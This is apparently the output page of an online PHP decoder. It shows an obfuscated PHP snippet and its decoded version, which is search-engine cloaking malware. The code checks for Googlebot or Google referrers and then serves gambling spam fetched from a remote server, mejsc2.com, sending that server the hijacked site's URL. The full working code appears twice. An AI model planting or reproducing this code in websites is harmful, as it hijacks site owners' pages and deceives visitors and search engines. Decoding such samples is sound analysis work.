Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if (1) { if (!function_exists("\147\x65\164\x48\x54\124\x50\120\x61\x67\145")) { function ..
Decoded Output download
<? if (1) { if (!function_exists("getHTTPPage")) { function getHTTPPage($url) { $UA = "aQ0O010O"; if (isset($_SERVER["HTTP_USER_AGENT"])) { $UA = $_SERVER["HTTP_USER_AGENT"]; } $opts = array("http" => array("method" => "GET", "header" => "User-Agent: {$UA}")); $context = stream_context_create($opts); $html = @file_get_contents($url, false, $context); return $html; } } if (!function_exists("doreqq")) { function doreqq($jctype, $jcstartType) { error_reporting(0); set_time_limit(0); $Remote_server = "http://mejsc2.com/"; $host_name = $_SERVER["REQUEST_SCHEME"] . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; $Content_mb = ''; $loop_request_times = 3; $shouyepath = ''; $referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $url = $Remote_server . "?from=" . $referer . "&shouyepath=" . $shouyepath . "&lan=vn_2&jcstartType=" . $jcstartType . "&jctype=" . $jctype . "&host=" . $host_name; for ($i = 1; $i <= $loop_request_times; $i++) { $Content_mb = getHTTPPage($url); $html = trim($Content_mb); if ($i == $loop_request_times && empty($html)) { return ''; } else { if (!empty($html)) { break; } } } return $Content_mb; } } if (!function_exists("ismyurl")) { function ismyurl($jcstartType, $issitemap = 0) { $lanmuArr = array("cash", "bet", "gambling", "betting", "casino", "fishing", "deposit", "bonus", "sitemap.xml"); $REQUEST_URI = $_SERVER["REQUEST_URI"]; $parsedurl = parse_url($REQUEST_URI); $path = $parsedurl["path"]; $query = isset($parsedurl["query"]) ? $parsedurl["query"] : ''; $var = $jcstartType == 0 ? $query : $path; $ismyurl = 0; if ($issitemap) { return strpos($var, "sitemap.xml") !== false; } foreach ($lanmuArr as $lm) { if (substr($var, 0, strlen($lm)) == $lm) { $ismyurl = 1; break; } } return $ismyurl; } } $jcstartType = 0; if (strpos(strtolower($_SERVER["HTTP_USER_AGENT"]), "google") !== false) { $Content_mb = doreqq(1, $jcstartType); if (substr($Content_mb, 0, 5) == "vvvvv") { die(substr($Content_mb, 5)); } else { $issitemap = ismyurl($jcstartType, 1); $ismyurl = ismyurl($jcstartType); if ($issitemap) { header("Content-Type:application/xml"); } if ($ismyurl) { die($Content_mb); } echo $Content_mb; } } else { if (isset($_SERVER["HTTP_REFERER"]) && strpos(strtolower($_SERVER["HTTP_REFERER"]), "google")) { $ismyurl = ismyurl($jcstartType); if (!$ismyurl) { return; } $Content_mb = doreqq(2, $jcstartType); if (strlen($Content_mb)) { die($Content_mb); } } } } ?>
Did this file decode correctly?
Original Code
if (1) { if (!function_exists("\147\x65\164\x48\x54\124\x50\120\x61\x67\145")) { function getHTTPPage($url) { $UA = "\x61\x51\x30\117\60\61\x30\117"; if (isset($_SERVER["\x48\x54\x54\x50\137\125\x53\x45\x52\137\x41\x47\105\116\x54"])) { $UA = $_SERVER["\110\x54\x54\x50\x5f\125\x53\x45\122\x5f\101\107\105\116\x54"]; } $opts = array("\x68\164\x74\x70" => array("\155\145\164\x68\x6f\144" => "\x47\105\x54", "\150\145\141\x64\145\162" => "\x55\163\x65\x72\55\101\x67\145\x6e\x74\x3a\40{$UA}")); $context = stream_context_create($opts); $html = @file_get_contents($url, false, $context); return $html; } } if (!function_exists("\x64\157\x72\145\161\161")) { function doreqq($jctype, $jcstartType) { error_reporting(0); set_time_limit(0); $Remote_server = "\150\x74\x74\160\x3a\57\57\155\145\x6a\x73\x63\x32\56\x63\x6f\155\57"; $host_name = $_SERVER["\122\x45\x51\x55\105\x53\x54\x5f\123\x43\110\105\x4d\105"] . "\x3a\x2f\x2f" . $_SERVER["\x48\x54\124\120\137\x48\117\123\x54"] . $_SERVER["\122\105\121\x55\x45\123\124\137\x55\x52\x49"]; $Content_mb = ''; $loop_request_times = 3; $shouyepath = ''; $referer = isset($_SERVER["\x48\x54\124\120\137\x52\x45\x46\105\122\105\x52"]) ? $_SERVER["\110\x54\x54\x50\x5f\122\105\106\x45\122\105\x52"] : ''; $url = $Remote_server . "\77\x66\162\x6f\x6d\75" . $referer . "\46\163\150\x6f\165\171\x65\160\x61\x74\150\x3d" . $shouyepath . "\46\154\x61\156\x3d\166\156\137\x32\46\152\x63\163\164\x61\162\164\124\x79\160\x65\75" . $jcstartType . "\x26\152\143\164\171\160\145\75" . $jctype . "\46\x68\157\163\x74\x3d" . $host_name; for ($i = 1; $i <= $loop_request_times; $i++) { $Content_mb = getHTTPPage($url); $html = trim($Content_mb); if ($i == $loop_request_times && empty($html)) { return ''; } else { if (!empty($html)) { break; } } } return $Content_mb; } } if (!function_exists("\x69\x73\155\x79\x75\x72\154")) { function ismyurl($jcstartType, $issitemap = 0) { $lanmuArr = array("\x63\x61\163\150", "\x62\145\164", "\147\x61\x6d\142\154\x69\x6e\147", "\142\145\164\164\151\156\147", "\x63\141\163\x69\x6e\157", "\146\x69\x73\x68\x69\x6e\x67", "\144\145\160\157\x73\x69\164", "\x62\157\x6e\165\163", "\x73\151\164\145\155\141\160\x2e\x78\155\154"); $REQUEST_URI = $_SERVER["\x52\x45\x51\x55\105\123\124\x5f\125\x52\x49"]; $parsedurl = parse_url($REQUEST_URI); $path = $parsedurl["\x70\141\x74\150"]; $query = isset($parsedurl["\x71\x75\x65\162\x79"]) ? $parsedurl["\161\x75\145\162\x79"] : ''; $var = $jcstartType == 0 ? $query : $path; $ismyurl = 0; if ($issitemap) { return strpos($var, "\x73\x69\164\x65\x6d\141\160\56\x78\155\154") !== false; } foreach ($lanmuArr as $lm) { if (substr($var, 0, strlen($lm)) == $lm) { $ismyurl = 1; break; } } return $ismyurl; } } $jcstartType = 0; if (strpos(strtolower($_SERVER["\110\x54\x54\120\137\125\123\x45\x52\x5f\101\x47\105\x4e\x54"]), "\147\x6f\157\147\x6c\145") !== false) { $Content_mb = doreqq(1, $jcstartType); if (substr($Content_mb, 0, 5) == "\x76\166\166\x76\x76") { die(substr($Content_mb, 5)); } else { $issitemap = ismyurl($jcstartType, 1); $ismyurl = ismyurl($jcstartType); if ($issitemap) { header("\103\157\x6e\x74\x65\156\x74\x2d\x54\x79\160\145\x3a\x61\x70\160\154\x69\143\x61\x74\151\x6f\156\57\170\x6d\x6c"); } if ($ismyurl) { die($Content_mb); } echo $Content_mb; } } else { if (isset($_SERVER["\x48\x54\124\120\x5f\x52\105\106\x45\122\105\122"]) && strpos(strtolower($_SERVER["\110\124\124\x50\x5f\x52\105\106\x45\x52\105\122"]), "\x67\x6f\x6f\x67\x6c\145")) { $ismyurl = ismyurl($jcstartType); if (!$ismyurl) { return; } $Content_mb = doreqq(2, $jcstartType); if (strlen($Content_mb)) { die($Content_mb); } } } }
Function Calls
strtolower | 1 |
function_exists | 3 |
Stats
MD5 | 8585d823c3b39239b70a13cad1e82a8d |
Eval Count | 0 |
Decode Time | 213 ms |